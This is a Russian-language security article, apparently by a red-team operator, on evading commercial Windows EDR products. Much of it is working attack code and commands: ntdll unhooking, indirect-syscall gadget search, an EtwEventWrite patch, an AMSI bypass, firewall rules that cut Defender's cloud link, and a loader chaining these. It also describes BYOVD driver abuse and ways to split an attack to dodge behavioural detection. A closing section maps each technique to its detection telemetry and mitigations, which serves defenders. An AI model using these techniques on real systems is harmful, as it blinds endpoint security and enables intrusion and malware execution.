Статья Обход EDR Windows: техники bypass CrowdStrike, SentinelOne и Defender for Endpoint

Когда я впервые столкнулся с задачей обхода CrowdStrike Falcon на Red Team-проекте - корпоративная среда, полный стек защиты - стандартные инструменты отработали ровно до первого поведенческого алерта. Cobalt Strike из коробки, PowerShell-однострочники, даже кастомные .NET-загрузчики - всё сгорело. Агент перехватил не бинарник, а цепочку API-вызовов, которая «пахла» подозрительно. Вот тут и стало понятно: техники обхода EDR - это не про запуск чужих скриптов. Это про понимание архитектуры обнаружения на уровне системных вызовов, хуков и телеметрии ядра.

Дальше разберу конкретные механизмы, которые используют коммерческие EDR-решения для обнаружения угроз, покажу рабочие техники их обхода с кодом и объясню, почему каждая из них детектируется или нет. Материал для пентестеров, Red Team операторов и security-инженеров, которым нужно понимать обе стороны - атаку и защиту.

Как EDR обнаруживает угрозы: три уровня телеметрии​

Прежде чем обходить EDR, нужно понять, что именно он видит. Большинство русскоязычных материалов описывают техники bypass в вакууме - «патчим ETW и всё работает». На заборе тоже написано. В реальности коммерческие EDR-решения собирают телеметрию на трёх принципиально разных уровнях, и обход одного не отключает остальные.

User-mode хуки в NTDLL​

Первый и самый известный уровень - inline-хуки на функциях ntdll.dll. Агенты CrowdStrike, SentinelOne и Defender for Endpoint внедряют свои DLL в каждый пользовательский процесс и перезаписывают пролог Native API функций (NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx и других) на JMP-инструкции, ведущие в код EDR. Каждый вызов этих функций сначала проходит через обработчик агента, который решает - пропустить или заблокировать.

Конкретика по вендорам различается сильнее, чем кажется. CrowdStrike Falcon загружает kernel-mode драйвер csagent.sys для kernel callbacks и minifilter-перехвата; в версиях 2023+ Falcon преимущественно опирается на kernel-level телеметрию и ETW, а user-mode hooking отошёл на второй план. SentinelOne, напротив, активнее использует классические inline-хуки в user-mode - тут он более «олдскульный». Все три вендора регистрируют kernel callbacks на создание процессов и потоков (стандартная практика), а Microsoft Defender for Endpoint опирается на комбинацию WdFilter.sys (minifilter-драйвер) и AMSI-интеграции.

Kernel callbacks и minifilter-драйверы​

Второй уровень - ядро. EDR регистрирует callback-функции через [URL='https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine']PsSetCreateProcessNotifyRoutine[/URL], PsSetCreateThreadNotifyRoutine и PsSetLoadImageNotifyRoutine. Эти колбеки срабатывают при каждом создании процесса, потока или загрузке образа (DLL/EXE) и не могут быть обойдены из user-mode - тут без вариантов. Minifilter-драйверы (csagent.sys у CrowdStrike, WdFilter.sys у Defender) перехватывают файловые операции на уровне ядра.

ETW-провайдеры и облачная аналитика​

Третий уровень - Event Tracing for Windows. ETW предоставляет EDR телеметрию по .NET-событиям, сетевой активности, DNS-запросам, LDAP, RPC и WMI. Агент подписывается на критические ETW-провайдеры и отправляет события в облако для корреляции. По данным академических исследований, именно облачная аналитика в связке с ETW-телеметрией ловит сложные многоэтапные атаки, которые user-mode хуки пропускают.

Техники обхода EDR в user-mode​

Перейдём к конкретике. Каждую технику разберу по схеме: что делаем, почему работает, где детектируется.

API Unhooking: восстановление оригинальной NTDLL​

Суть - загрузить «чистую» копию ntdll.dll с диска или из KnownDlls и перезаписать модифицированные EDR байты в памяти процесса, восстановив оригинальный код функций. По MITRE ATT&CK это

Ссылка скрыта от гостей

, Defense Evasion).

Базовый подход - Full DLL Unhooking через маппинг файла с диска:

// Пример концепции unhooking ntdll.dll
// Загружаем чистую копию ntdll.dll с диска
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
    GENERIC_READ, FILE_SHARE_READ, NULL,
    OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return;

HANDLE hMapping = CreateFileMapping(hFile, NULL,
    PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
if (!hMapping) { CloseHandle(hFile); return; }

// Маппим как SEC_IMAGE - Windows разберёт PE-структуру
LPVOID cleanNtdll = MapViewOfFile(hMapping,
    FILE_MAP_READ, 0, 0, 0);

// ВНИМАНИЕ: упрощённый концептуальный пример
if (!cleanNtdll) { CloseHandle(hMapping); CloseHandle(hFile); return; }

// Находим .text секцию в чистой копии
// и перезаписываем соответствующую секцию
// в загруженной ntdll.dll текущего процесса
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)cleanNtdll;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(
    (BYTE*)cleanNtdll + dosHeader->e_lfanew);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);

for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
    if (!strcmp((char*)section[i].Name, ".text")) {
        DWORD oldProtect;
        LPVOID targetBase = (LPVOID)(
            (BYTE*)GetModuleHandleA("ntdll.dll")
            + section[i].VirtualAddress);
        VirtualProtect(targetBase, section[i].Misc.VirtualSize,
            PAGE_EXECUTE_READWRITE, &oldProtect);
        memcpy(targetBase,
            (BYTE*)cleanNtdll + section[i].VirtualAddress,
            section[i].Misc.VirtualSize);
        VirtualProtect(targetBase, section[i].Misc.VirtualSize,
            oldProtect, &oldProtect);
    }
}
UnmapViewOfFile(cleanNtdll);
CloseHandle(hMapping);
CloseHandle(hFile);

Проблема: CrowdStrike и SentinelOne давно научились ловить unhooking. Агент периодически проверяет целостность своих хуков и восстанавливает их, если обнаруживает деактивацию. Более того, само обращение к файлу ntdll.dll на диске (CreateFile по этому пути) генерирует событие через minifilter-драйвер. Альтернатива - открытие через \KnownDlls\ntdll.dll (NtOpenSection), что не проходит через minifilter. SEC_IMAGE маппинг обеспечивает корректное выравнивание секций аналогично загруженному образу, поэтому прямое копирование .text секции корректно.

Более скрытный вариант - Manual Mapping отдельных функций вместо целой библиотеки. Вместо полной перезаписи .text секции загружаем только байты конкретных функций (скажем, NtAllocateVirtualMemory), минимизируя «шум». Но при сканировании памяти EDR может обнаружить дублированный код ntdll.dll - а это само по себе индикатор атаки.

Direct и Indirect Syscalls: минуя хуки полностью​

Вместо того чтобы снимать хуки, можно вообще не вызывать функции ntdll.dll, а сделать системный вызов напрямую. По MITRE ATT&CK -

Ссылка скрыта от гостей

, Execution).

В Windows каждая функция NtXxx в ntdll.dll - обёртка, которая помещает номер syscall в регистр EAX и выполняет инструкцию syscall. Знаем номер - собираем обёртку сами.

Direct Syscalls - вызываем syscall напрямую из нашего кода:

; Пример для демонстрации концепции - NtAllocateVirtualMemory
; Номер syscall зависит от версии Windows (динамический)
mov r10, rcx
mov eax, <syscall_number>  ; номер зависит от версии/билда Windows - хардкод недопустим!
                          ; используйте динамическое разрешение (Hell's Gate, SysWhispers3)
syscall
ret

Проект Hell's Gate решает проблему динамического определения номеров syscall: он парсит экспортируемые функции ntdll.dll в памяти и извлекает номера из пролога, даже если хуки установлены - номер syscall лежит перед JMP-инструкцией.

Halo's Gate развивает идею: если пролог функции повреждён хуком, он ищет номер у соседних функций (Nt* функции имеют последовательные номера) и вычисляет нужный через смещение. Красивый трюк.

Indirect Syscalls - более скрытный вариант. Инструкция syscall выполняется не из нашего кода, а из оригинальной ntdll.dll. Мы находим адрес инструкции syscall; ret внутри ntdll.dll и передаём управление туда. Это критически важно: некоторые EDR (в частности, CrowdStrike) проверяют, откуда пришёл syscall. Если return address указывает не на ntdll.dll, а на неизвестный регион памяти - срабатывает детект.

// Концепция indirect syscall
// Находим адрес инструкции syscall;ret в оригинальной ntdll
BYTE* pNtAllocateVirtualMemory = (BYTE*)GetProcAddress(
    GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");

// Сканируем байты: ищем 0F 05 (syscall) + C3 (ret)
// NB: при наличии inline hook пролог перезаписан - syscall может быть
// смещён дальше; в этом случае используйте Halo's Gate или увеличьте диапазон
BYTE* syscallAddr = NULL;
for (int i = 0; i < 64; i++) {
    if (pNtAllocateVirtualMemory[i] == 0x0F
        && pNtAllocateVirtualMemory[i+1] == 0x05) {
        syscallAddr = &pNtAllocateVirtualMemory[i];
        break;
    }
}
if (!syscallAddr) return; // syscall;ret не найден - хук мог сместить инструкцию
// FALLBACK: при агрессивном hooking (замена самой инструкции syscall на INT3/JMP)
// ищите syscall;ret в другой Nt-функции ntdll.dll или используйте чистую копию ntdll.dll
// Перед прыжком на syscallAddr необходимо настроить регистры:
// mov r10, rcx; mov eax, <syscall_number> - иначе вызов будет некорректным.
// Прыгаем на найденный адрес вместо прямого syscall
// Инструкция syscall выполняется по адресу внутри ntdll.dll,
// поэтому kernel-level проверка origin (RIP при входе в ядро) видит ntdll.dll.
// Однако user-mode call stack всё равно содержит наш код как caller -
// indirect syscalls обходят проверку адреса syscall instruction, но не полностью маскируют call stack.

По данным исследования EDR/XDR evasion (dev.to), прямые syscalls обнаруживаются современными EDR через анализ call stack: если вызов NtAllocateVirtualMemory приходит из памяти, не принадлежащей ntdll.dll, это аномалия. Indirect syscalls решают именно эту проблему.

ETW Patching: отключение телеметрии событий​

ETW - основной источник телеметрии для EDR по .NET, сетевой активности и операциям с объектами ядра. Патчинг функции EtwEventWrite в контексте текущего процесса «ослепляет» EDR для событий этого процесса. Грубо, но работает.

// Патчинг EtwEventWrite в текущем процессе
void PatchETW() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    FARPROC pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

    DWORD oldProtect;
    // xor rax, rax; ret - функция возвращает 0 (SUCCESS)
    // но ничего не делает
    #ifdef _WIN64
    BYTE patch[] = { 0x48, 0x33, 0xC0, 0xC3 }; // xor rax,rax; ret
    #else
    BYTE patch[] = { 0x33, 0xC0, 0xC2, 0x14, 0x00 }; // xor eax,eax; ret 14h
    #endif

    VirtualProtect((LPVOID)pEtwEventWrite, sizeof(patch),
        PAGE_EXECUTE_READWRITE, &oldProtect);

    memcpy((LPVOID)pEtwEventWrite, patch, sizeof(patch));
    VirtualProtect((LPVOID)pEtwEventWrite, sizeof(patch),
        oldProtect, &oldProtect);
}

Нюанс, который многие упускают: ETW patching работает только в user-mode. Kernel-level ETW провайдеры продолжают генерировать события как ни в чём не бывало. На практике продвинутые инструменты обхода EDR комбинируют ETW bypass с unhooking системных DLL и AMSI bypass - такой подход описан в публичных исследованиях MDSec и SpecterOps.

AMSI Bypass: обход антивирусного интерфейса​

AMSI (Antimalware Scan Interface) - механизм, через который PowerShell, .NET, VBScript и JScript передают содержимое скриптов на проверку антивирусу перед исполнением. Microsoft Defender for Endpoint и SentinelOne активно используют AMSI для обнаружения обфусцированных скриптов.

Классический bypass - патчинг функции AmsiScanBuffer в amsi.dll:

# Пример для демонстрации концепции - не рабочий в текущем виде,
# так как сигнатура этого кода детектируется
$a = [Ref].Assembly.GetTypes() | ? {$_.Name -like '*iUtils'}
$f = $a.GetFields('NonPublic,Static') | ? {$_.Name -like '*Context'}
[IntPtr]$ptr = $f.GetValue($null)
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

В 2024–2025 прямой патчинг AmsiScanBuffer по сигнатуре детектируется всеми тремя вендорами. Рабочие подходы требуют обфускации самого bypass-кода или использования hardware breakpoints для перехвата AmsiScanBuffer без модификации памяти. Принцип: hardware breakpoint устанавливает DR0–DR3 регистры процессора для перехвата вызова через vectored exception handler, который подменяет результат проверки. Память amsi.dll не модифицируется - integrity checks не срабатывают. Реализации описаны в работах @_RastaMouse (AMSI bypass via hardware breakpoints) и @CCob (AmsiHook).

Kernel-level bypass: BYOVD и атаки на драйверы​

Все техники уклонения от обнаружения в user-mode упираются в одно ограничение: kernel callbacks продолжают работать. Чтобы по-настоящему нейтрализовать EDR, атакующие лезут в ядро.

BYOVD: загрузка уязвимого драйвера для EDR bypass​

Bring Your Own Vulnerable Driver (BYOVD) - техника Disable or Modify Tools (T1562.001, Defense Evasion), при которой атакующий загружает легитимный подписанный драйвер с известной уязвимостью и через неё получает привилегии ядра. Звучит нагло - но работает пугающе часто.

Наиболее документированный пример - действия группировки SCATTERED SPIDER, описанные CrowdStrike. Атакующие использовали CVE-2015-2291 в драйвере Intel Ethernet diagnostics (iqvw64.sys). По данным NVD, IQVW32.sys и IQVW64.sys версий ниже 1.3.1.0 позволяют локальному пользователю вызвать отказ в обслуживании или выполнить произвольный код с привилегиями ядра через специально сформированные IOCTL-вызовы (0x80862013, 0x8086200B, 0x8086200F, 0x80862007). CVSS 7.8 (HIGH), вектор CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - локальный доступ, низкая сложность, минимальные привилегии. CWE-20 (Improper Input Validation) - драйвер тупо не валидирует входные данные IOCTL-запросов.

По техническому анализу CrowdStrike, вредоносный драйвер SCATTERED SPIDER:

1. Загружает уязвимый iqvw64.sys через стандартный механизм Windows
2. Через IOCTL-уязвимость получает доступ к kernel-памяти
3. Находит загруженный модуль csagent.sys (драйвер CrowdStrike Falcon)
4. Ищет жёстко закодированный паттерн из 64 байт с маской
5. Перезаписывает критические функции драйвера trampoline-кодом, который всегда возвращает «успех»

Результат - Falcon-сенсор формально работает, но его функции обнаружения нейтрализованы. Красивый фантик, а внутри - пустота. CrowdStrike отмечает, что их ML-модели заблокировали и поместили в карантин этот вредоносный драйвер до его активации.

Публичные инструменты вроде KDMapper позволяют маппить неподписанные драйверы в память ядра через BYOVD. По данным MITRE ATT&CK, группировки APT38, Agrius, Akira, BlackByte и другие активно используют эту технику - Agrius, например, использовал GMER64.sys (инструмент для удаления руткитов) для остановки процессов security-продуктов. Ирония: инструмент безопасности используется для убийства другого инструмента безопасности.

RealBlindingEDR и утилиты нейтрализации EDR​

По данным Trend Micro (август 2025), группировка Crypto24 использовала кастомизированную версию open-source инструмента RealBlindingEDR для нейтрализации EDR-защиты. Кастомизированная версия использовала «вероятно неизвестные уязвимые драйверы» - что говорит о глубокой технической экспертизе и постоянном обновлении инструментария.

Дополнительно Crypto24 злоупотребляли gpscript.exe - легитимной утилитой Group Policy - для удалённого запуска деинсталлятора EDR с сетевого ресурса. Классический Living off the Land: штатные инструменты администрирования Windows используются для их же уничтожения.

Обход endpoint detection через сетевую изоляцию​

Отдельный класс техник обхода EDR - блокировка связи агента с облаком. Как отмечает исследование, получившее третье место на Pentest Award 2025, EDR «сильно завязан на облако». Без доступа к облачным сервисам агент теряет аналитические возможности: поведенческие модели не получают обновлений, корреляция событий не происходит, а DFIR-команды не видят машину в консоли. По сути, агент слепнет.

Базовый подход - блокировка исходящих подключений агента через правила Windows Firewall:

# Блокировка исходящего трафика MDE к облаку
New-NetFirewallRule -DisplayName "Block MsSense" `
  -Direction Outbound `
  -Program "$env:ProgramFiles\Windows Defender Advanced Threat Protection\MsSense.exe" `
  -RemotePort 443 -Protocol TCP -Action Block

New-NetFirewallRule -DisplayName "Block SenseCncProxy" `
  -Direction Outbound `
  -Program "$env:ProgramFiles\Windows Defender Advanced Threat Protection\SenseCncProxy.exe" `
  -RemotePort 443 -Protocol TCP -Action Block

Сразу оговорка: эти команды работают только при отключённой Tamper Protection, что нетипично для production. В managed environments (Intune/SCCM) Tamper Protection включена по умолчанию и не отключается локально - тут команды бесполезны. WFP-подход ниже - более реалистичная альтернатива.

Windows Filtering Platform (WFP) работает на уровне ниже Windows Firewall и позволяет создавать фильтры, невидимые стандартным средствам мониторинга. Фильтры WFP могут быть временными (удаляются при перезагрузке) или постоянными, и позволяют блокировать соединения по приложению, порту, адресу и другим признакам.

Отключение EDR агента: практический workflow для пентеста​

Вот пошаговый процесс, который я использую при оценке устойчивости EDR в рамках авторизованного пентеста. Каждый шаг имеет конкретную цель и альтернативный вариант.

Шаг 1 - Разведка агента. Определяем, какой EDR установлен, его версию и конфигурацию:

:: Определение EDR по запущенным процессам
tasklist /svc | findstr /i "csfalcon MsSense SentinelAgent"

:: Проверка загруженных драйверов
driverquery /v | findstr /i "csagent WdFilter sentinelmonitor"

:: Проверка установленных сервисов
sc query CSFalconService
sc query Sense
sc query SentinelAgent

Шаг 2 - Оценка защиты от модификации. Проверяем Tamper Protection, PPL-статус процесса агента и ACL на сервисах:

# Проверка Tamper Protection для Defender
Get-MpComputerStatus | Select-Object IsTamperProtected

# Проверка PPL-статуса процесса (через Process Explorer или WinDbg)
# PPL-процессы защищены от завершения даже с правами SYSTEM

Шаг 3 - Выбор техники обхода. На основе результатов разведки:

Сценарий	Рекомендуемая техника	Сложность
Нужно запустить payload, агент с user-mode хуками	Indirect syscalls + ETW patch	Средняя
Нужно полностью нейтрализовать агент	BYOVD (при наличии привилегий)	Высокая
Нужно снизить облачную аналитику	Блокировка через WFP	Средняя
Нужно обойти AMSI для PowerShell	Hardware breakpoint на AmsiScanBuffer	Средняя

Шаг 4 - Подготовка загрузчика. Собираем shellcode loader, который комбинирует несколько техник:

// ПСЕВДОКОД - не компилируемый пример, демонстрирующий логику комбинированного подхода.
// Реализации: Hell's Gate (github.com/am0nsec/HellsGate),
// SysWhispers2/3 (github.com/jthuraisamy/SysWhispers2),
// Halo's Gate (описан в блоге Sektor7).
// 1. Патчим ETW в текущем процессе
PatchETW();

// 2. Определяем номера syscall через Halo's Gate
DWORD sysNtAlloc = HalosGateResolve("NtAllocateVirtualMemory");
DWORD sysNtWrite = HalosGateResolve("NtWriteVirtualMemory");
DWORD sysNtCreate = HalosGateResolve("NtCreateThreadEx");

// 3. Выделяем память через indirect syscall
IndirectSyscall(sysNtAlloc, ...);

// 4. Записываем зашифрованный shellcode
// и расшифровываем в памяти перед выполнением
IndirectSyscall(sysNtWrite, ...);

// 5. Создаём поток для исполнения
// Альтернатива: APC injection или callback-based execution
IndirectSyscall(sysNtCreate, ...);

Шаг 5 - Валидация. Проверяем, что payload исполнился без алертов в консоли EDR. Procmon и WinDbg - для анализа, какие события всё-таки были сгенерированы. Лично у меня на одном проекте даже после успешного bypass ETW-патча kernel-level callback всё равно зарегистрировал создание потока - пришлось дорабатывать на ходу.

Рынок EDR-килеров: что продают в даркнете​

По данным мониторинга хакерских форумов (XSS, Exploit.in, RAMP) компанией ExtraHop, рынок инструментов для обхода EDR живёт и здравствует. Согласно заявлениям продавцов (которые не были независимо верифицированы - верить на слово тут не стоит), цены варьируются от $300 за единоразовый bypass до $10 000 за полный пакет с исходным кодом.

Продавец KernelMode на форуме XSS (листинг от января 2024) предлагает инструмент, который не завершает процессы EDR, а незаметно отключает функции сканирования файлов и памяти - «внешне security-решение продолжает работать, но фактически сканирование не выполняется». Поддержка каждого EDR-вендора - $1 500 в месяц, минимальный заказ - $7 500. Заявлена совместимость с CrowdStrike, SentinelOne, Kaspersky, Windows Defender и другими.

Продавец Bug предлагает исходный код криптора за $10 000, в который «встроен bypass AV и EDR через syscalls и удаление хуков на системных DLL, реализован ETW и AMSI bypass».

Эти данные показывают: bypass EDR - не академическое упражнение, а реальная угроза. Доступность инструментов снижает порог входа для атакующих, и это нужно учитывать при проектировании защиты.

Техники уклонения от обнаружения: сторона защиты​

Если вы security-инженер - вот конкретные телеметрические события, которые генерируют описанные выше техники, и как их ловить:

Техника атаки	Телеметрия для обнаружения	Инструмент
API Unhooking	Чтение ntdll.dll с диска, изменение .text секции	Minifilter-событие чтения ntdll.dll; периодическая проверка целостности хуков агентом EDR; Sysmon Event ID 7 при загрузке копии через LoadLibrary (но не при MapViewOfFile)
Direct Syscalls	Return address не из ntdll.dll в call stack	CrowdStrike thread stack analysis, ETW syscall tracing
ETW Patching	Изменение защиты памяти EtwEventWrite (VirtualProtect)	Kernel callback на PAGE_EXECUTE_READWRITE
BYOVD	Загрузка известного уязвимого драйвера	Microsoft WDAC, список заблокированных драйверов, Sysmon Event ID 6
AMSI Bypass	Патчинг AmsiScanBuffer	AMSI провайдер с integrity check
WFP-блокировка	Создание BFE-фильтров	Аудит WFP через netsh wfp show state

Рекомендации для защиты:

1. Включите Tamper Protection на всех EDR-агентах. Это блокирует большинство прямых попыток отключения агента.
2. Используйте WDAC (Windows Defender Application Control) для блокировки загрузки известных уязвимых драйверов. Microsoft поддерживает обновляемый blocklist.
3. Мониторьте call stack через ETW или vendor-specific телеметрию - аномальные return address'ы при syscall-вызовах надёжно указывают на direct/indirect syscalls.
4. Включите
   Ссылка скрыта от гостей
   , он же Memory Integrity) - аппаратная защита, блокирующая загрузку неподписанных драйверов на уровне гипервизора.

По данным CrowdStrike, при анализе SCATTERED SPIDER они рекомендуют включить Memory Integrity и настроить traffic inspection через Falcon Identity Threat Protection. Для Microsoft Defender for Endpoint - отключение Local Rule Merge через GPO предотвращает перезапись правил файрвола локальными политиками.

SentinelOne evasion: особенности обхода​

SentinelOne заслуживает отдельного разговора, потому что его архитектура обнаружения отличается от CrowdStrike и Defender. Агент SentinelOne активно использует поведенческий AI-движок, который анализирует последовательности операций, а не отдельные вызовы. Одиночный подозрительный syscall может пройти незамеченным, но цепочка VirtualAlloc → WriteProcessMemory → CreateRemoteThread - точно сработает. Этот зверь смотрит на картину целиком.

По данным ExtraHop, продавец mkdele на форуме XSS заявлял о возможности отключения SentinelOne наряду с другими EDR-решениями. Данные MITRE ATT&CK подтверждают, что группировка Aquatic Panda пыталась остановить EDR-инструменты на скомпрометированных системах, а APT38 использовала unhooking DLL для нейтрализации EDR.

Практический вывод: при обходе SentinelOne критически важно разделять этапы атаки по времени и процессам. Выделение памяти - в одном процессе, запись payload - через другой механизм (Section mapping вместо WriteProcessMemory), исполнение - через callback (CreateTimerQueueTimer или EnumWindows) вместо стандартного CreateThread. Эта тактика «размазывания» атаки по разным примитивам затрудняет корреляцию для поведенческого AI. На одном проекте мы так обошли SentinelOne - разнесли аллокацию и запись по двум процессам с паузой в 30 секунд, и алерт не прилетел.

Выводы​

Обход EDR Windows - гонка вооружений, в которой ни одна техника не остаётся рабочей навечно. User-mode хуки обходятся через direct/indirect syscalls, но EDR уходит в ядро. Kernel callbacks обходятся через BYOVD, но Microsoft закрывает дыру через WDAC и HVCI. Облачная аналитика обходится через WFP-блокировку, но Tamper Protection не даёт перенастроить агент. Каждый уровень защиты порождает свой уровень обхода - и наоборот.

Для пентестера: комбинируйте техники. Ни один отдельный bypass не даёт гарантии. Indirect syscalls плюс ETW patch плюс AMSI bypass плюс кастомный shellcode loader - работает. Одна техника в изоляции - детектируется. Проверено.

Для защитника: мониторьте все уровни. User-mode хуки необходимы, но недостаточны. Kernel callbacks, ETW, облачная корреляция и HVCI вместе создают эшелонированную защиту, в которой обход одного уровня не компрометирует всю систему. Начните с netsh wfp show state и Sysmon Event ID 6 - если там тихо, это ещё не значит, что всё в порядке.

Все техники, описанные в этой статье, предназначены исключительно для авторизованного тестирования на проникновение и исследований в области безопасности. Несанкционированное применение преследуется по закону.